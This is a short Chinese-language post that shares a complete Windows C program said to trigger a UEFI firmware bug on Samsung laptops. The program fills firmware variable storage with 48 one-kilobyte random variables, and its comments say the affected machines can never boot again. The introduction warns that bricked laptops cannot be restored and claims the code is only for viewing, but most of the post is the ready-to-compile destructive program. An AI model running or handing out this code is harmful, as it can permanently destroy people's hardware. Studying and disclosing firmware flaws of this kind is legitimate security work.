三星筆記本變磚UEFI Bug測試代碼

Bug測試代碼以下：(測試前請確認筆記本開啓了UEFI模式。還有最重要的——變成磚頭了，暫時沒辦法還原的。三星那邊解決方案還沒出來。真要實際真機操做請當心，只是給你們看看代碼。)

 

    #include "stdafx.h"

    #include <Windows.h>

    #include <WinBase.h>

 

    /* Write 48 UEFI variables of 1K each */

    /* The worst case outcome of this should be an error when the firmware runs out of space */

    /* However, if run on some Samsung laptops, this will cause the firmware to fail to initialise and prevent the system from ever booting */

    int _tmain(int argc, _TCHAR* argv[])

    {

            char testdata[1024];

            char name[] = "TestVarXX";

            BOOL result;

            HANDLE handle = NULL;

            TOKEN_PRIVILEGES tp;

     

            ZeroMemory(&tp, sizeof(tp));

     

            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &handle))

                    printf("Failed to open process\n");

     

            /* Writing to UEFI variables requires the SE_SYSTEM_ENVIRONMENT_NAME privilege */

            if (!LookupPrivilegeValue(NULL, SE_SYSTEM_ENVIRONMENT_NAME, &tp.Privileges[0].Luid))

                    printf("Failed to locate privilege");

     

            tp.PrivilegeCount = 1;

            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

            if (!AdjustTokenPrivileges(handle, FALSE, &tp, 0, NULL, 0))

                    printf("Failed to adjust privileges\n");

     

            for (int i=0; i<48; i++) {

                    /* Fill variable with 1K of random data */

                    for (int j=0; j<sizeof(testdata); j++)

                            testdata[j] = (char)rand();

 

                    /* Generate a unique name */

                    sprintf_s(name, sizeof(name), "TestVar%d", i);

 

                    /* Actually write the variable - this calls the SetVariable() UEFI runtime service */     

                    result = SetFirmwareEnvironmentVariableExA(name, "{12345678-1234-1234-1234-1234567890ab}", testdata, sizeof(testdata), 0x07);

     

                    if (!result) {

                            printf("Received error code %ld\n", GetLastError());

                            break;

                    }

            }

     

            if (result)

                            printf("Success");

     

            return 0;

    }